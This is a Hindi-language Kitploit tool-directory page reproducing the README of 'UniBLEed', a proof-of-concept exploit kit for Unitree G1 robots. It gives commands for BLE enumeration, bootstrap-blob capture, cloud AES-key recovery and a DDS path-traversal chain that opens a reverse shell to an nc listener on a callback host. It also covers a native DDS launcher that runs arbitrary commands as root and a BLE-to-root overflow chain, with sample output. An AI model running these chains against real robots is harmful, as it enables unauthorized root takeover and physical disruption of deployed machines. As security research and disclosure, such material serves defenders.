Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
UniBLEed — Unitree G1 RCE PoC और स्क्रिप्ट्स (CVE-2026-76639 / CVE-2026-76640) तकनीकी विवरण boschko.ca/g1-ble-rce/ पर | Kitploit
उपकरण/GitHubGitHub/olivierlaflamme/unibleed
ब्लूटूथ सुरक्षाशोषण फ्रेमवर्कIoT सुरक्षाभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगहार्डवेयर और IoT सुरक्षा
GitHubolivierlaflamme/unibleed

UniBLEed

Unitree G1 RCE PoC और स्क्रिप्ट्स (CVE-2026-76639 / CVE-2026-76640) तकनीकी विवरण boschko.ca/g1-ble-rce/ पर

रिपॉजिटरी देखें
8532 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

UniBLEed पिक्सेल लोगो

UniBLEed

Unitree G1 RCE PoC और स्क्रिप्ट्स (CVE-2026-76639 / CVE-2026-76640) के तकनीकी विवरण boschko.ca/g1-ble-rce/ पर उपलब्ध हैं

इस रिपॉज़िटरी का उपयोग केवल उन रोबोट, खातों और नेटवर्क के साथ करें जिनका परीक्षण करने के लिए आप अधिकृत हैं। सक्रिय चेन रोबोट के WiFi कॉन्फ़िगरेशन को बदल सकती हैं, सेवाओं को रोक या पुनः आरंभ कर सकती हैं, btgatt-server को क्रैश कर सकती हैं, और root के रूप में कमांड निष्पादित कर सकती हैं।

रिपॉज़िटरी मैप

पथसामग्री
ble-scanningBLE डिस्कवरी, अनपेयर्ड GATT एन्यूमरेशन, सीरियल-नंबर डिस्कवरी, और एन्क्रिप्टेड बूटस्ट्रैप-ब्लॉब कैप्चर
cloud-oracleऐतिहासिक /device/bindExtData कुंजी-पुनर्प्राप्ति प्रवाह का पुनरुत्पादन
chatgo-bashrunner-rceWebRTC-रैप्ड DDS पाथ-ट्रैवर्सल और bashrunner कमांड-निष्पादन चेन
pure-dds-rceनेटिव Cyclone DDS के साथ सीधे कार्यान्वित वही DDS सेवा चेन
ble-full-chain-rceसक्रिय BLE-से-root चेन: बूटस्ट्रैप, क्लाउड कुंजी पुनर्प्राप्ति, WiFi प्रोविज़निंग, PIE डिस्क्लोज़र, और BSS ओवरफ़्लो
scanning-toolsशोध के दौरान उपयोग किए गए निम्न-स्तरीय BLE, DDS, WebRTC, और सेवा-एन्यूमरेशन उपयोगिताएँ
ble-bss-overflow.html1,050-बाइट btgatt-server BSS ओवरफ़्लो का इंटरैक्टिव वॉकथ्रू

0xF1 और 0xF2 जैसे मान BLE वायर-प्रोटोकॉल ऑपकोड हैं। ये फ़ाइंडिंग नंबर नहीं हैं।

नाम शिप्ड कंपोनेंट्स के अनुरूप रखे गए हैं: btgatt-server कमज़ोर BLE प्रोसेस है, जबकि chat_go और bashrunner Unitree सेवा/मॉड्यूल नाम हैं। इस रिपॉज़िटरी में नेटिव प्रूफ़-ऑफ़-कॉन्सेप्ट एक्ज़ीक्यूटेबल का नाम loco_rce है।

सेटअप

Python 3.11 या नया अनुशंसित है।

नीचे दिए गए कमांड उदाहरण रिपॉज़िटरी रूट से शुरू होते हैं। प्रॉम्प्टेड शेल-वेरिएबल उदाहरण Bash सिंटैक्स का उपयोग करते हैं।

git clone <repository-url>
cd githubunitreepoc

python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt

BLE पहुँच होस्ट प्लेटफ़ॉर्म पर निर्भर करती है। macOS पर, Bleak द्वारा प्रिंट किए गए पते CoreBluetooth UUIDs होते हैं, न कि ओवर-द-एयर MAC पते।

1. BLE टोह और बूटस्ट्रैप कैप्चर

इन सहायकों के लिए भौतिक BLE निकटता आवश्यक है, लेकिन किसी Unitree खाते, AES कुंजी, या पूर्व पेयरिंग की आवश्यकता नहीं है।

G1 की उजागर GATT सेवाओं और विशेषता अनुमतियों की गणना करें:

python3 ble-scanning/01_ble_gatt_enum.py

रोबोट सीरियल नंबर पुनर्प्राप्त करें:

python3 ble-scanning/discover_sn.py --timeout 30

discover_sn.py पहले BLE निर्माता डेटा की जाँच करता है। यदि विज्ञापन में सीरियल नंबर नहीं है, तो यह कनेक्ट होता है और क्लीयरटेक्स्ट 0xF1 अनुरोध का प्रयास करता है। उस कनेक्टेड फ़ॉलबैक को अक्षम करने के लिए --passive-only जोड़ें।

RSA-एन्क्रिप्टेड 0xF2 बूटस्ट्रैप ब्लॉब को कैप्चर करें और इसे क्लाउड-रिकवरी चरण के लिए सहेजें:

python3 ble-scanning/02_ble_bootstrap.py \
  --output ble-scanning/bootstrap-blob.txt

यहाँ विशिष्ट आउटपुट जानबूझकर संक्षिप्त किया गया है:

Scanning for a Unitree G1 (10s)...
Found <robot-name> at <BLE-address> (<RSSI> dBm)
Connecting to <BLE-address>...
Sending opcode 0xF2 (0055543235f2fe)
Received 4 notifications
Encrypted bootstrap blob (344 Base64 characters):
<encrypted-blob>
Saved to ble-scanning/bootstrap-blob.txt

यह blob सिफरटेक्स्ट है, सादा AES कुंजी नहीं।

2. क्लाउड बूटस्ट्रैप-कुंजी पुनर्प्राप्ति

cloud-oracle/03_cloud_oracle.py ऐप के ऐतिहासिक कुंजी-पुनर्प्राप्ति प्रवाह को पुनः उत्पन्न करता है:

  1. Unitree के क्लाउड में प्रमाणित करें।
  2. GET /system/pubKey से क्लाउड RSA सार्वजनिक कुंजी प्राप्त करें।
  3. रोबोट सीरियल नंबर को एन्क्रिप्ट करें।
  4. सीरियल नंबर और BLE बूटस्ट्रैप blob को POST /device/bindExtData पर सबमिट करें।

वर्तमान सर्वर रोबोट स्वामित्व लागू कर सकते हैं। लक्ष्य रोबोट के लिए अधिकृत खाते का उपयोग करें।

हेल्पर चलाएँ और उसके प्रॉम्प्ट का उत्तर दें:

python3 cloud-oracle/03_cloud_oracle.py --show-http --redact

यह खाते, रोबोट सीरियल नंबर और bootstrap-blob पथ के लिए प्रॉम्प्ट करता है। ऊपर बनाई गई फ़ाइल के लिए ble-scanning/bootstrap-blob.txt का उपयोग करें। --redact प्रिंट किए गए curl पुनरुत्पादन में एक्सेस टोकन और पुनर्प्राप्त AES कुंजी को छिपाता है, जिससे आउटपुट साझा करना अधिक सुरक्षित हो जाता है।

पुनर्प्राप्त कुंजी को प्रिंट करने वाले निजी रन के लिए, --redact छोड़ दें:

python3 cloud-oracle/03_cloud_oracle.py

issues या प्रकाशित टर्मिनल ट्रांसक्रिप्ट में access tokens, account credentials, robot keys, serial numbers, या captured blobs को न चिपकाएँ।

3. WebRTC/DDS chat_go → bashrunner श्रृंखला

यह PoC WebRTC data channel के माध्यम से रोबोट की DDS सेवाओं तक पहुँचता है। इसके लिए लक्ष्य रोबोट की AES-128 key और रोबोट के आंतरिक Ethernet नेटवर्क से जुड़ा एक host आवश्यक है।

परीक्षण नेटवर्क के अनुसार host interface को कॉन्फ़िगर करें। PoC डिफ़ॉल्ट रूप से रोबोट 192.168.123.161 और callback address 192.168.123.55 का उपयोग करता है।

पहले टर्मिनल में, एक listener प्रारंभ करें:

nc -lv 4444

दूसरे टर्मिनल में, 32-वर्णों वाली हेक्साडेसिमल AES कुंजी प्रदान करें, बिना उसे रिपॉज़िटरी में कमिट किए, फिर चेन चलाएँ:

read -rsp "Robot AES-128 key: " UNITREE_AES_KEY
echo
export UNITREE_AES_KEY

python3 chatgo-bashrunner-rce/reverse_shell_standalone.py \
  <callback-ip> 4444

अपेक्षित आउटपुट:

[*] Callback: <callback-ip>:4444
[*] Connecting via WebRTC...
[+] WebRTC connected + validated
[*] Starting chat_go...
[+] chat_go alive
[*] Uploading payload (path traversal)...
[+] Payload written
[*] Restarting bashrunner...
[+] bashrunner restarted
[*] Executing reverse shell...
[?] code=TIMEOUT — check listener anyway
[*] Done

अंतिम DDS अनुरोध टाइम आउट हो सकता है क्योंकि लक्ष्य सेवा को पुनः आरंभ करने या निष्पादित करने से प्रतिक्रिया पथ बाधित होता है। उस टाइम आउट को अकेले विफलता मानने के बजाय लिसनर से सफलता की पुष्टि करें।

समाप्त होने पर शेल वेरिएबल साफ़ करें:

unset UNITREE_AES_KEY

4. नेटिव Cyclone DDS चेन

नेटिव क्लाइंट सीधे DDS डोमेन 0 से जुड़ता है। यह WebRTC या रोबोट की AES कुंजी का उपयोग नहीं करता है।

बंडल किया गया pure-dds-rce/prebuilt_aarch64/loco_rce एक्ज़ीक्यूटेबल और Cyclone DDS रनटाइम Linux AArch64 के लिए हैं। एक्ज़ीक्यूटेबल libddsc.so.11 के विरुद्ध लिंक होता है; रिपॉज़िटरी में वह सिमलिंक और उसका libddsc.so.11.0.1 लक्ष्य शामिल है।

रोबोट के आंतरिक Ethernet नेटवर्क से जुड़े AArch64 Linux होस्ट पर:

लॉन्चर UNITREE_LOCAL_CIDR असाइन करने से पहले UNITREE_IFACE से मौजूदा पते फ्लश करता है। एक समर्पित लैब इंटरफ़ेस का उपयोग करें और इसे चलाने से पहले इंटरफ़ेस नाम की दोबारा जाँच करें।

./pure-dds-rce/run_exploit_c.sh

एक उद्धृत तर्क प्रदान करके एक अलग कमांड चलाएँ:

./pure-dds-rce/run_exploit_c.sh 'id && hostname && uname -a'

लॉन्चर डिफ़ॉल्ट रूप से इंटरफ़ेस eth0, स्थानीय पता 192.168.123.55/24, और रोबोट पता 192.168.123.161 का उपयोग करता है। आवश्यकता पड़ने पर इन्हें ओवरराइड करें:

UNITREE_IFACE=<ethernet-interface> \
UNITREE_LOCAL_CIDR=<host-address>/<prefix> \
UNITREE_ROBOT_IP=<robot-address> \
./pure-dds-rce/run_exploit_c.sh

सोर्स-बिल्ड निर्देशों और अपेक्षित आउटपुट के लिए pure-dds-rce/README.md देखें।

5. पूर्ण BLE-से-root श्रृंखला

यह रिपॉजिटरी में सबसे विघटनकारी PoC है। यह रोबोट के WiFi कॉन्फ़िगरेशन को बदलता है, इसे दिए गए एक्सेस पॉइंट पर ले जाता है, PIE बेस प्राप्त करता है, BSS ओवरफ़्लो पहुँचाता है, और कॉलबैक लॉन्च करने के बाद जानबूझकर btgatt-server को क्रैश कर देता है।

टूल डाउनलोड करें